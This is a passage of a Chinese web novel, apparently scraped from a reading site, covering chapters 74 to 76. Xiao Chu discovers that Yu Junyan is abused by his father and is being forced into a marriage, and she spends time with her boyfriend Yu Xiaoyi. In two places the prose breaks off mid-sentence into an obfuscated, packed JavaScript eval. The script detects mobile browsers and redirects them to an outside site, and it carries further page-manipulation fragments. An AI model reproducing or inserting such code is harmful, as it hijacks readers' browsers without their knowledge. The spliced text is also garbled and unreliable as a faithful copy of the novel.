郭羡如愣了愣,下一秒眼圈就红了,“谢谢你啊……小初。”她接过熊猫把它抱在怀里,神色蓦地变得很温柔,“小时候我爸妈一有空就会一块带我去海洋公园看熊猫,那时候的我们家简直堪比熊猫乐园,只可惜后来搬了几次家之后,大部分的玩偶和手账都丢了。” 她这么说,小初的眼泪也不听话地跟着掉了下来。 郭羡如有些不好意思,“抱歉,大概是我老了,已经开始喜欢回忆往事了。” 余珺彦递了张纸巾给她,安慰道:“胡说,你在我心里永远二十岁。” 又转向小初,“我就不帮你擦眼泪了啊,你开车注意别让眼泪糊住视线,我和阿羡的小命可都握在你手里了。” 小初对着后视镜,没好气看了他一眼。 接下来的一路,车内气氛始终有些伤感。后排坐的两个人不仅没有吻别,甚至连话都没说几句,只有车载电台的主持人无比聒噪,漫长的广告中偶尔插播几首粤语老歌。 其中一首小初来港后某次在音像店听过后就彻底爱上,最初她连歌词都听不懂,还是查了手机才知道他唱的是爱而不得的卑微单恋,张敬轩的《尘埃落定》。 单曲循环听了两天后,她已经可以将歌词倒背如流,其中几句特别惊艳。 维持着熟悉表情陌生关系不要变 只等到红白仪式一场偶遇才会面 无爱可失得不到相恋别说失恋 只感到天国近了相聚远 后座这俩人,还真是红白仪式会面,已无爱可失。虽说和歌词表达的情感关系不符,却也有种压抑挣扎的宿命感。 到了机场,小初跟郭羡如告别之后就留在了车内,没有占用他们最后一点独处时间,至于两人后来都说了什么又到底有没有吻别,她就不得而知了。 唯有一点她可以肯定,那就是今天的机场没有乌泱泱蹲守的媒体,也不知是余珺彦用了什么手段瞒住了郭羡如的行程,还是记者们已在这俩人身上赚足了流量,不想再浪费时间。 小初在车上等到睡着。 等余珺彦回来的时候,她脸都被方向盘压成饼干模了。 “Ruby姐登机了?” “嗯。”余珺彦应了一声。 情绪看上去还可以。 “接下来是你开还是我开?” “你开吧,按我导航。”余珺彦坐进副驾驶。 小初点头,“也行,只是去哪?” “不是说去找你丢的宝石耳坠吗?那辆车就在我家楼下停着呢。” 小初正要将车子调到D档的手骤然停住,她不敢相信自己听到了什么,“你说的是余宅?” 余珺彦深深看她一眼,忽而一笑,“这世上还有你方太初怕的事?余宅而已又不是特首府,再说如果你和Theo进展顺利,余宅对你而言还不迟早是无人之境?再或者,将来你就是它的女主人呢。” 小初骂他,“少以小人之心度君子之腹,区区一个余宅,送我还未必过得了我的眼。 ” 余珺彦一怔,然后挑了挑眉,“这话别人说确实没有说服力,但方小姐你当然不同。说起来Theo确实命好,不仅父母是圈子里的恩爱典范,凭一己之力扭转了余家上下都是重利薄情的混账的形象,连女朋友随便一找都是全国屈指可数的科技新贵独女,难怪举重若轻就得到了爷爷奶奶的支持,甚至已经开始为他重新进行资产布局。” 余珺彦这番话信息量太大,小初眯了眯眸子,没接话。 “只是害了我余珺彦,无辜成了他的替罪羊,不得不牺牲自己和杨家联姻,你说,你们要怎么补偿我?” 小初不答,只说:“我不去余宅。” “放心,不是余宅,是我自己在外面的公寓。” 小初这才启动车子。 开了半路,她才不经意问他,“和杨家联姻怎么就无辜了,不是你自己点的头吗?” 余珺彦笑,“你怎么不问问,我为什么没去郭家的葬礼?” 小初一头雾水,不太明白这两件事有什么关联,“我看报纸了,他们都说是因为你克制隐忍,故意选择不去现场添乱的,难道不是吗?” 红灯亮起,车子停在十字路口。 “当然不是。”余珺彦解开袖扣,把手臂上的伤给小初看,本来应该已经愈合的伤口却依然包着纱布,而在那之下,还有几道触目惊心的红痕。 小初凝住目光,心头不知为何一震,很多事情她不敢细想,只能试探地问了句,“他们拿你怎么了?” 余珺彦的声音很低,带着残忍的笑意,仿若来自地狱的风,吹到人的皮肤上就是一阵驱不散的寒气,“我爸把我绑在家里关了整整三天。至于传媒,应该是有人花了大钱买的通稿吧,你知道的,那些人没下限的,手里怎么写,还不是金主说了算?” “什么!”小初彻底惊住,因为她突然想起来,郭家的丧仪就是办了三天。 信号灯早已变成绿色,可她因为太震惊,竟根本没注意到,直至身后汽车鸣笛声一片。 接下来的半路,两人都没再说话。小初这才发现,她的心智根本没有她想得那么坚定,因为她几乎是用尽全力才控制着那条不停在发颤的腿把车子开到目的地的。 余珺彦的公寓在半山处,远离闹市的繁华,有种隐世的安静,远远的,她果然看见半棵黄槐在阳光下耷拉着叶子,而另一半,显然是在台风中被折断了。 黄槐树下,余珺彦之前开的那辆车正狼狈不堪地停放着,挡风玻璃和侧方玻璃都被碎成了蜘蛛网,车身更是多处刮擦和凹陷。 他倒是没骗她。 两人下车。 余珺彦说:“车钥匙在楼上,我得上去拿。” 小初点头。 余珺彦又问:“你要不要上去喝杯茶?” 小初斜睨他,“多谢,我不爱喝茶,尤其不爱你们这边的凉茶和花果茶。” 余珺彦笑,“不是这两种,是普洱,这边的湿热气候和陈年发酵的茶饼很配,上面还有点心,记得你上次很喜欢那个芋泥的月饼,那就应该也会喜欢它。” 小初仍说:“普洱我也不爱,点心更不吃,你别磨叽,赶紧去拿钥匙。” 余珺彦一副受伤模样,“你竟然对我如此防备,看来是真没打算和我做朋友。算了,我也不勉强你了,在这等着。” 小初“嗯”了一声。 待他离开,她立刻将手肘撑在了他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732029|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车上,开始大口呼吸,在别人看不到的地方,余家的暗黑漩涡正汹涌着朝她靠近着,感觉用不了多久,就要把她整个吞没了。 他们远比她想象的还要可怕。 没一会儿,余珺彦就下了楼,并把车子解了锁。 小初正要打开车门钻进去,却被他伸手拦住,“算了,还是我来吧,挡风玻璃的碎片虽然没有危险性,但这几天山里风大,里面都是各种灰尘碎屑。” “这么贵的车你就随便这么停在这,难怪会被树砸。” 余珺彦笑,“懒得伺候,只是辆车而已。” 小初嘴角一抽。 行吧哥,你有钱,你任性。 余珺彦先从后排座椅找起,他检查得很仔细,每个缝隙都没放过,连脚垫都拖出来抖了抖,空气里顿时一片尘土飞扬。 小初被呛得直咳嗽,用力张开手掌在面前扇了扇,无语至极,“大哥,我还在这呢!你这样还不如让我亲自动手了。” 余珺彦从车子里钻出一个脑袋,也被自己的行为逗笑,示意她,“你不是一向只喜欢占上风吗?这会儿怎么跑到下风处了?” “……” 他们家人嘴怎么都这么毒? 小初没好气地打开另一侧的车门也探了半个身子进去,故意说道:“你看清楚一点,别把宝石当玻璃给我抖出去了。” 余珺彦说:“我只听说过把鱼目当珍珠的。” 小初心下一动,也不知出于什么突然问他,“你和Ruby姐打算怎么办?这个月底和杨小姐的订婚宴还如期举行吗?你就没想过要反抗到底坚持自己的选择吗?还是说你终究放不下余家能给你的财富和地位?如果是这样,你也就别说什么身不由己了,其实你心里早有权衡。” 余珺彦手下的动作顿了顿,再抬头,眼底已都是嘲讽,“我凭什么要放弃余家能给我的财富和地位?你怎么不问问Theo,问问其他那帮姓余的,他们愿不愿意放弃?方太初,大家都是人,我问你,如果你家里逼你,你会愿意为了Theo放弃继承权吗?” 小初一噎,“很可惜,我爸只有我一个孩子。” 余珺彦眼底的嘲讽更深,“所以,你有恃无恐。抱歉,我没那么幸运,生在你那样的家庭。” 小初无意识地捏紧了手中抱枕的边缘。 他没说错。 她的确有点可笑。 “对不起,我没别的意思,只是有点替你和Ruby姐可惜,又感觉你似乎很难打破眼下的僵局,才口不择言的,你别往心里去。” 余珺彦没想到她的道歉竟然会来得如此之快,不禁愣住,眼底的嘲讽一点点被笑意代替,“方太初,真诚这种必杀技你真的要少用,不然会招惹很多桃花债的。” 两人四目相对,小初忽地红了脸,“我不管别人怎么样,反正你不能喜欢我。” 余珺彦乐不可支,差点从车里跌出去。 “你放心!我绝不会!” “你心里是还爱着Ruby姐吧?你没有在骗我,对吗?” “当然,我说了,我一定会回美国和她结婚的。” “可你怎么结?” 余珺彦止住笑,神色逐渐认真,“如果我说,我钱和人都想要,你会怪我贪心吗?” 小初疑惑看他一眼,“我有什么资格怪你?” “因为立场问题啊,小初啊小初,你真的不能再对我真诚下去了,否则,我会下不了手的。” 小初只当他又是在开玩笑,没再接茬。 两人又把副驾驶和驾驶位底下都好好找了一遍,但最终还是一无所获。 不仅一无所获,还弄得两个人都浑身是土,手黑的不成样。 “看来,是真的丢了。”小初叹了口气,心里想的都是回头要怎么跟余萧弋交代。 “那只耳坠对你很重要?” 小初没设防,直说道:“是文然阿姨送我的礼物。” “原来如此。”余珺彦沉思了一下,“这事我也有责任,毕竟确实你不陪我去机场也不会把它弄丢,这样,你看下要多少钱,我赔给你。” 小初抬眸看他一眼。 “怎么,不信我?” “你不怕我讹你了?” 余珺彦笑,“别人可能会,小初你不会的。” 小初摆摆手,“算了吧,这事是我自己不小心,跟你没关系。况且之前你受伤的医药费不也没找我负责吗?我们算扯平好了。你的手臂大概率是要留疤了,真算起来,还是你亏得比较多。” 说完,两人相视一笑。 余珺彦把黑漆漆的手掌展示给她看,“咱俩这下是真不得不一块上楼洗个手了,你放心,我没别的意思,洗个手我就送你回去。” 小初抿抿唇,想了想,没拒绝。 两人一块上了楼。 余珺彦的这套公寓比余萧弋住的那间要大很多,格局是很明晰的一室一厅一厨一卫,只是里面装修色调很冷淡,一眼过去只给人一个感觉,那就是住在这里的人不幸福。 或许还有些孤独和痛苦。 “要换鞋吗?”小初站在门口踟蹰了一下。 “不用,洗个手不就走了吗?” 他竟如此坦荡。 两人洗了手出来,小初一眼就看见了门口衣架上他带着血的那件白衬衫。 “那个还没拿去洗?” 余珺彦顺着她视线看过去,“哦,你说那个,我忘了。不过我估计它现在也洗不出来了,只是这件衣服是阿羡之前送我的,我有点不太舍得扔。” 小初咬了咬唇。 “走吧。” “嗯。” 两人正要往外走,忽听门外传来了一阵急促的敲门声。 小初吓一跳,不由自主看向他,无声地问道,“谁?” 余珺彦摇摇头,做了个噤声的动作,缓步走向了猫眼。 目光聚焦的那一刹,他的神色就凝在了脸上。 小初的心骤然一沉。 75.第 75 章 余珺彦这个表情,已经无声把门外之人的身份暴露了个彻底,除了余萧弋,小初想不到此刻还有谁能让他如此慌张和不安。 只是,余萧弋怎么知道她在这的? 是余珺彦故意设的局想离间他们的关系,还是余萧弋自己察觉到了什么一直在跟踪她? 小初的身形无意识地剧烈一晃,整个人都像被谁点燃了一样,从里到外又热又痛。 因为这两种可能无疑都在告诉她,眼前被她信任着的这两个姓余的男人,至少有一个肯定是个混蛋,是彻头彻尾的伪君子,完全没有尊重她,整件事更是对她智商和情感的无情嘲笑和侮辱。 这怎么能不让她心灰意冷,心如刀割? 余珺彦的心思千回百转,短暂的怔愣之后,再回头,就已扯住了小初衬衫的袖子,示意她跟他到卧室躲一躲。 小初咬唇,不动,目光也没有半分闪烁,就那么直直地看着他,“干嘛?” 她的嗓子因为急火攻心瞬间变得嘶哑,以至于出口的声音都异常低沉。 余珺彦没说话,只是用一种十分不解的眼神看着她,似是在问,“怎么了?” 外面的敲门声不止,甚至比刚才还急促了。见里面没有回答,对方又换成了门铃。 “我不躲,你让他进来,我们当面对峙。” 开玩笑,她内心坦坦荡荡,为什么要躲,大不了就直接跟他们两个姓余的拼了算了,她倒要看看,他们敢把她怎么样。 “嘘。”事出从急,余珺彦也顾不上那么多了,下一秒,就用掌心覆住了小初的口鼻,“方太初,你听话,我会保护你的。” 小初眸子着了火,恨不得咬他一口,谁稀罕他保护? “外面的人不是Theo。” 只一句,小初五脏六腑的灼烧感就神奇地消失了。 “不是?”她低声。 不是,为什么要躲? “嗯,是我爸,我不想他看见你在这。” 小初愣住。 外面的人已经开口:“余珺彦,我知道你在里面,你要是再不开门,我就自己输密码了啊。” 余珺彦眯了眯眸子,说了句,“来不及了。” 话音一落,还未等小初明白发生了什么事,人就被他护着头塞进了餐桌边的柜子里。 极简生活方式的人果然跟常人不同,这么大个柜子里面竟空无一物,小初甚至怀疑,这里本来就是给她预留的。 “你什么意思啊余珺彦?” 门外的人已经开始在输密码。 第一遍,语音提示密码错误。 “晚些再跟你解释。”余珺彦拧开桌面上的矿泉水,仰头将自己淋湿。 小初目瞪口呆,整个人震惊到已经完全说不出话,只能用不解的眼神瞪着他。 余珺彦俯身叮嘱,本就立体深邃的五官被淋湿后更加有氛围感:“保持安静,他很快就会走。” 下一秒,柜门就已被他无情合上。 与此同时,门外的人也输对了密码,一阵脚步声后,透过缝隙,小初首先看到的是两双腿,而且是穿着笔挺西裤脚踩高级手工皮鞋的两双腿。 其中一人进门后就用粤语问道,“在家怎么一直不来开门?”声音听着仍余怒未消。 余珺彦答,“刚在卫生间洗脸,水声大,没听见。” 那人冷哼,“该不是家里藏了女人?我警告你,这段时间少给我惹事,要不小心被狗仔拍到,我打断你的腿。” 这段粤语说得又快又急,小初其实并不能精准听懂他每个字的意思,但大概也猜了个差不多。 余珺彦陪笑,“爸,阿羡回美国了,我哪里还能再找个比她更适合我的女人给狗仔拍?” “她走了?”男人狐疑。 余珺彦仍是笑,“对啊,就今天走的,我亲自去机场送的。” 一句粤语脏话就那么猝不及防从男人嘴里飙了出来,紧接着,空气里就传来了一声清脆的巨响,柜子里的小初吓了一跳,不敢发出声音的她只能咬住自己的手指,直至痛感传来她才意识到,是余珺彦被打了。 而且一定打得很痛。 但他始终未吭一声。 直到这时另一个男人才谨慎开口,“余先生,我去外面等。” 大概是得到了首肯,很快,房间里就只剩下他父子二人。 小初在网上看到过余巍巍的照片,那里面的他戴着副金丝眼镜,谈吐不凡温文尔雅,她实在没想到,背地里的他竟然是这副阴翳暴躁的模样。 他大踏步,走向沙发,余珺彦只能亦步亦趋跟了过去。 小初如此才看见余巍巍的脸,尽管视线受阻,她还是清晰地感觉到,他整个人的状态都不太好,似是有什么极难搞定的事正蛇一样缠着他,令他无比恐惧和绝望。 “爸,你找我到底什么事?” “不要惹怒你岳父。”余巍巍一字一顿,“现在只有他能帮我,要是惹怒了他,你和我就都完了。” 余珺彦轻笑一声,“哪个岳父,我岳父不是刚过身吗?” “还敢提那个没用的短命鬼!早两年,我是不是就已经劝你分手了?你不听,非等他真走投无路了再分,让全世界的人骂你忘恩负义!” “他本不该走投无路的,是余家没救他。” “救他?”余巍巍大笑,“笑话,你当你自己是冤大头还是觉得你是神仙?” 余珺彦说,“当初我和阿羡交往,也是家里同意的吧?我们两个是有爱情的,我不甘心就这么放手。” 余巍巍吼道,“此一时彼一时!余家什么时候做过亏本的生意?包括Theo,你觉得要不是现在互联网和科技行业这么大热,你爷爷会同意他和方家小姐交往吗?” 骤然听到别人口中的自己,小初有些恍惚。 余巍巍又说,“你好歹也是豪门出身,名校毕业还在华尔街工作过,怎么每天还活在梦里?我跟你说,这次你要是连敏之都抓不住,以后全港的名媛小姐就不会再有一个要你了!” 余珺彦淡淡的,“那我求之不得。” “你可不可以学Theo一半聪明?爱情,什么爱情,你真当他选那个女仔是为了爱情?顺势而为,以金钱,权力为重才是一个男人活在这世上应该做的事!只要你有了这两样,有多少女人你得不到?” 小初在柜子里抱住了膝盖,手指上的齿痕清晰。 余珺彦漫不经心的:“如果我偏逆流而上呢?” 余巍巍气到声音发抖,“别学你那个浅薄愚蠢的母亲!” “你没有资格提我的母亲!”余珺彦提高声音,“她再愚蠢当初也是你选的!” 余巍巍笑,“我选她?一个玩物而已!这世上哪个有钱有势的男人不玩女人?只是她命好!有了你还让你生下来就姓余!到现在你还在维护她,可知她当年生下你还不到半年,就开始和各路男人频频上报纸,让余家脸面尽失!” “你们已经分了手,还不让她约会别的男人吗?” “分手?”余巍巍轻嗤,“更合适的那个词叫买断!余家付了钱让她安分守己,是她自己不知足,非要抛头露面博取关注!要不是因为她,你在余家的地位,包括我,怎么可能被你大伯一家渐渐取代!” 余珺彦似是忍无可忍,“你竟把一切都推给女人?” “不然呢!我才是从小在你爷爷奶奶身边长大的第一个孩子!你大伯是在上海的老宅里养到十岁才接回来的!豪门贵族向来把声望看得比什么都重,你到底懂不懂?我一直以为我们兄弟姐妹中就你大伯最傻最不懂经营,结果反而是他最聪明,娶了个清白能干又肯帮余家开枝散叶的好女人,从此彻底拿捏住你爷爷奶奶的心!所以,你娶妻这步棋,是半点差池也不能再有!你必须把敏之给我娶进来!” 空气死寂一般沉下来。 小初彻底愕住,始料未及自己竟不小心又听到人家这么多隐私,回头余珺彦该不会杀了她灭口吧? 余巍巍站起身,最后警告道,“我现在身上的事,余家未必压得下来,只有你岳父和他的关系网,才能保我无虞,你给我伺候好敏之,不要再节外生枝。” 余珺彦疑惑地看他一眼,“你该不会为了自保私下许诺了杨家什么东西吧?”他顿了顿,“除了医院的事,你到底还有什么事?” 小初感觉自己全身的血液都开始疯狂倒流,脑子里嗡嗡响,心里不停祈祷着,别说,别说,我真不想听,更不想被灭口…… “你别管。”余巍巍扯了扯领带。 只三个字,就让小初劫后余生般落下泪来。 余珺彦说,“可我不会伺候人,更伺候不了杨敏之。” “不会?”余巍巍冷笑,“你这模样性情都来自那个风骚浪荡的贱人,你跟我说你不会?” 一声巨大的关门声后,房间内只有余珺彦还怔怔地站在原地。 小初在柜子里窝得太久,两条腿都被压麻了,一时也动弹不得。 他们俩就这样各自在自己的思绪里陷了一会儿。 最后还是余珺彦先回过神来,大踏步向她走来。 柜门打开,四目相对,两人都没说话。 小初看见余珺彦半边脸都是肿的,一双眼睛很红很红。 余珺彦看见小初满脸泪痕,正防备又恐惧地看着他,一双本来清亮明媚的眼睛里,似是落满了星星,又夹杂着一丝令他不敢相信的情绪,他仔细品味了一下,竟然是,心疼? 不是怜悯,是心疼。 他自觉两人之间并没有到深刻至此的交情,身份,立场,所有的一切,都注定了她和他永远不可能成为朋友,即使这样,她也会对他产生……心疼吗? “你……疼不疼?”小初指了指他的脸,小心问道。 “不疼。”余珺彦笑了。 “怎么可能不疼!”小初说,“我都听见了,他打得那么重。简直太过分了,你又没做错什么。” “快出来吧。”他伸手。 小初犹豫了一下,还是任他抓住了自己的袖子。 她注意到了他的分寸,今天两次拉她,都没有碰到她身上任何一寸皮肤。 经过今天的事,她恐怕再没法把他当成完全的陌生人。他不一定是什么好人,但也绝对没有那么坏,他有他的为难和身不由己。 “我送你回去吧。” 小初点点头。 再没有什么多余的对话,余珺彦便拿了车钥匙,带她下了楼。 外面阳光依然很好。 快走到那半棵黄槐树的时候,小初才不经意问他,“余珺彦,你不会杀我灭口吧?” 余珺彦愣了愣,然后忽然大笑,笑得眼泪都快下来了,“会的话,我还会把你藏起来?要是让那个人知道你在我那,你才是完了,一定会被他拿去当枪使的。” 小初抿抿唇,“哦。” 余珺彦仍是笑,“我说了我会保护你的。” “为什么?”小初其实不太懂他对她到底揣着一种什么情感。 “因为你是我和阿羡理想中的女儿啊,爸爸保护女儿,应该的。” “去你的吧。”小初瞪他,“少占我便宜!” 车子一路开到她的住处,余珺彦始终蹙着眉没说一句话。 到了地方,看见曹旸,小初的一颗心才总算落了下来。 然后她开门,下车,所有动作行云流水。 “再见,余珺彦。” 余珺彦隔着降下来的车窗,朝她微微点了点头,车子扬长而去。 曹旸迎上前来,问:“你怎么了小姐,脸色这么差?” 小初摇头。 曹旸的眸子顿时变得无比锐利,“余珺彦欺负你了?我早说了我得陪着你的!” “哎呀,不是啦!你别多想!” 曹旸看她表情不像作假,才放下心来,又问,“那东西找到了吗?” 她不说这个还好,一说小初的嘴角就垂了下来。 “那到时候怎么办?” “随便拿我妈妈之前买给我戴着玩的首饰凑合凑合吧,黄总过手的东西,不一定贵,但审美一定是高级的。” 曹旸点头,“也是个主意。” 上了楼,小初就给余萧弋发了条消息,约他晚上一块吃饭。 她现在脑子里只有三个字,想见他。 疯了似的想。 发完消息,她就把自己关进了卫生间,直至身体整个沉入浴缸内温热水流,每个细胞都传来柔和舒服的包裹感,她才感觉自己熨帖了,又活过来了。 日间泡澡不是她的习惯,但今天特殊,她不想自己身上还残留着余珺彦车里和家里的味道去见她爱的那个人。 余萧弋等在楼下的时候,小初已换了裙子化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738362|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了妆,心情也焕然一新。 她从来没有那么快下过楼,几乎是以飞奔的速度。 还隔着几步,她就看见了倚在车边的他正朝着她笑。 一如既往的,他的装扮是那么轻松和时髦,同时又不掩身上那股干净向上的少年意气。 只是也不知今天是什么日子,他竟还带了花。 小初扑到他怀里,任他身上的味道侵染鼻息,直至安全感顺着毛细血管慢慢回流到心脏,逐渐丰盈整个胸腔。 余萧弋察觉到了她今天的反常,不禁扶住她肩膀,让她的身体远离自己一寸,以便自己可以看见她的眼睛,“怎么了?” 小初不管,再次紧贴上去,“没事,就是想你了。” 余萧弋再次被她的直白击中,忍不住亲了亲她的头发,“我们也才分开不到二十四个小时吧,就想成这样?” “怎样?你嫌分开时间太短?你敢烦我?” 小初忽地抬起头,下巴是微微上扬的,嘴唇却紧紧咬着,一副既嚣张又委屈的模样。 余萧弋这才松口气,一颗心既酸涩又甜蜜,“你早这样就不至于把我吓到了。” “……”小初立刻明白了他在说什么,下一秒已经上手把他头发都揉乱,“我就不能偶尔脆弱又温柔吗?” “好啊好啊你都可以,只是能不能别弄乱我发型?” 小初露出坏笑,“我不。” 余萧弋听了也不躲,就那么宠溺地看着她笑,任她胡作非为。 小初终于心满意足,然后才回头,跟曹旸作了个揖,“曹旸姐,我明天有早课,所以今晚会很早就回来休息,我保证。拜托,别跟着我。” 曹旸看了她一眼,目光转而落在余萧弋脸上。 其实方协文最初交代的就是保证她的安全即可,并不需要时时都跟在她身边,又说他女儿最讨厌别人限制她的自由,逼得太紧恐怕适得其反会更坏事。 余萧弋会意,立刻说:“曹旸姐,我保证,十点,哦不十一点之前一定把她送回来。” “十点半,多一分钟,下次别想。” 曹旸一锤定音。 余萧弋郑重点头,“好!就十点半。” 两人上了车。 直到开出去很远,小初怀里还小心抱着他送的花。 余萧弋忍不住逗她,“就这么喜欢?方小姐怎么越来越好哄了,也不知当初是谁,要的是维港两侧所有建筑的外立面都挂着她的大名,很发财很发财。” 小初眨眼,“选你,我不是就已经很发财了吗?” “那咱俩初衷很像。” “什么东西?”小初脑子里蓦地闪过余巍巍的话——你真当Theo选她是因为爱情? 余萧弋笑,“我选你,最初就是想帮你很发财很发财的。好男人,是这样的。” “Theo余,你还真是,真是……” “好男人,是吧?” “的确。”小初甜笑。 两人在中环一家环境很优雅的中餐厅放松地吃了顿粤菜,并终于吃到了小初心心念念的鸡油花雕蒸花蟹和荔浦鸭盒,两道菜一道醇厚鲜甜,一道酥脆绵糯,的确是整个菜单中最令人惊艳的。 吃了饭才八点,余萧弋问小初还想做点什么,看电影还是坐船出去吹吹海风看看夜景。 小初想起件事来,“你们这边的影院是不是只提供粤语版本的片源?” 余萧弋说:“别担心这个,我可以陪你看普通话版本的,或者,我们也可以挑个英语电影。” “不不,如果真去看的话,我倒是想尝试下粤语版本的。”小初想起今天余巍巍和余珺彦她至少一半都没听懂的对话,突下决心,“Theo余,我想好好系统学一下粤语了,你教我好不好?” 余萧弋极为意外,“和我认识这么久,光见你嫌弃我们的气候饮食和满大街颜值和身高都不太行的男人了,今天怎么了,突然对粤菜和粤语都感兴趣起来了?” “……”小初总不能说自己想学粤语的初衷是为了听八卦,只好顺嘴胡诌,“听说情侣之间互相口水吃多了就自然而然会对方的方言了,我想验证一下,到底要吃多少才行。” 余萧弋差点没被一口茶呛死。 红着脸看了她半晌,才说,“那大概你吃得还不够多,怎么,现在要来点吗?” 要不要这么肉麻啊! “呀!”小初说了句朝语,“这句话是‘你要死吗’的意思,你先学吧。” “我不学。”余萧弋笑,“学了又不能用来骂你。你还是教我点甜的吧。” 小初起身,“不教,想学自己去看韩剧。” 余萧弋也跟着起了身,问她:“所以,我们现在去干嘛?” 小初答:“去给仔仔挑个生日礼物吧,我那天问他了,他说想要个电吉他,我们一起送,怎么样?” 余萧弋眸底的湖没来由荡漾了一下,一种很微妙的,似是有种无形的东西正一点点将两人绑在一起的感觉袭来,“我们,一起吗?” 小初牵过他的手,眼底都是柔情,神色却弥漫着某种坚持,“嗯。不过我不是找你跟我AA的意思啊,我是想,以后对仔仔,都没有‘我’,只有‘我们’,你是他哥,你们才永远是最亲近的人,而我,是因为你,才对他好的。” 余萧弋嘴角的笑意蔓延开来,下一秒,已反手将她紧紧抓住,“好。” 两人最后在余萧弋一个很相熟的玩乐队的朋友那里花了接近六万块给余萧泽买了把手感和音色都不错的电吉他,并拜托朋友当晚就包好给他送过去了。 谁想到这家伙收到礼物第一句话就发消息问他哥,【大佬,只买吉他不给配个好音箱吗?】 余萧弋笑着把手机屏幕给小初看。 小初直接拿过来发语音过去,【买不了,没钱,想要自己想办法。这把吉他已经算精品系列,专业摇滚乐手上台也就这意思了,你还是先提升提升自己水平吧,别暴殄天物。】 余萧弋给小初竖了个大拇指。 当晚十点半,小初准时上了楼。 只是还没等她卸完妆,余萧弋的电话就进来了,说是爷爷后天周末约她和他一块去打高尔夫。 除了他们,还有两个人也会去,余珺彦和杨敏之。 小初顿住,卸妆棉上的唇膏一片红,让她无端想起……余珺彦白衬衫上的血痕。 76.第 76 章 周六,余萧弋一早就到了小初楼下,接她去西贡的私人高尔夫俱乐部陪余绍鸿打球。 两人的行头是前一天临时置办的,因此色调一致,都是一身纯白搭配各种精巧配饰,小初怕冷,也没穿裙子,还特地在长袖的小翻领Polo衫外搭系了件黑色的针织衫,风格利落酷帅,清澈如少年。 一见面,余萧弋就来扯她针织衫的袖子,揶揄,“还是你聪明,知道今天海边风大,早早加了衣服,而我却为了跟你穿情侣装,外套都没带。” 小初眨眼,“也不至于因为一件针织衫咱俩就不像情侣了吧?” 余萧弋隔着墨镜睨她,“今天怎么这么会抓重点,一开口就知道我什么意思。” 小初笑,“我说了,口水吃多了,自然心意相通。” 余萧弋听了立刻贴上去,在她唇上亲了一口,“这是今日份的。” 小初却一把将他推开,“哎呀你把我润唇膏都蹭掉了!” 见她这样,余萧弋反而更来劲,又将她按回怀里亲了好几下,“什么润唇膏这么甜,刚好给我也涂涂。” 小初大骂他流氓,骂完无法,还是拿出润唇膏给两人都补了补。 补着补着她的视线就凝在了他唇上,他的唇形真的可以算是她在现实世界里见过最好看的了,饱满得那么刚好,极具张力的同时又给人一种这男生一定性格很好的感觉。 “我好看,还是余珺彦好看?” 余萧弋突然开口,问的还是这个问题,小初心神一晃,不由自主就想起了那天她躲在柜子里,余珺彦整张脸湿漉漉俯身下来和她轻声说话的样子。 抛开其他不谈,余珺彦当然可以算作人类顶级建模,虽是混血,身上的东方韵致却丝毫不减,再加上他的出身,见识,学识,谈吐,甚至是他二十八岁的年纪……他让她怎么去形容一瓶正在进入最佳赏味期的酒? 见她迟迟不答,余萧弋不知怎么心下一沉,“这么难评吗?” “是有点难评。”小初笑,“你总得允许这世上除了你也还有别的帅哥吧?” 余萧弋懂了,“哦,那就是他也很好看的意思。” “他当然好看,就像梁朝伟和金城武也好看,我总不能因为我喜欢你,就把别人说得一文不值吧?不过,他好看跟我又有什么关系,别说他,就算梁朝伟和金城武重返二十岁站到我面前,我的眼睛里也只会看到你。” 说完,小初就微不可察叹了口气,早知道谈恋爱还要写论文,她当初就不那么轻率做决定了。 余萧弋嘴角漾起一朵好看的笑,似是终于满意,“哄我是吧?” 小初点头,“当然是在哄你,你要是再逼我,我就把你揍一顿,让你再矫情这些有的没的。” “……”余萧弋咬牙,“反正待会不准你看他,也不准你跟他说话。” 小初抬眸瞥他一眼,“若是这样干脆我们不要去了好不好,反正我也不会打高尔夫。” ——要不是为了你,你当我愿意和一群不相干的人浪费时间?我宁愿窝在图书馆里看论文,好吗? 这句话倒是勾起了余萧弋的好奇心,“你竟真的没摸过高尔夫球杆?” ——怎么可能,打高尔夫不是富人们最热衷的社交运动吗,你爸妈竟没带你体验过? 小初别了别头发,“也不能说没摸过吧,只能说我还有挺有天赋的。” 余萧弋没懂,“什么意思?” “我的意思是,要是身体状态允许……”小初顿住,连自己也忍俊不禁,“我一上午能把那一片地都翻完。” 怔愣之后无可避免是一顿爆笑,余萧弋被她逗得嘴角就一直没下来过,眼睛也弯成了月牙,缓了好半晌才停下身体的颤抖,把她抱在怀里叹息道:“方太初啊方太初,要是没了你,我大概是真的活不下去了。” “别给我这么大压力好不好?”小初笑着推他,“人生还很长呢小余同学。” 余萧弋戳她的额角,“我看人家女孩子谈恋爱都沉溺的不行,社交软件里都是和男朋友相关的动态,只有你,冷静得让我感觉我也没什么特别,改天你腻了换个人,照样会这么开心。” 小初笑:“那你怎么不去找别的女孩子,体验一下被沉溺的感觉。” “那你呢?” “我什么?”小初的面色沉静如水。 “你会去找别的男人体验一下沉溺的感觉吗?” 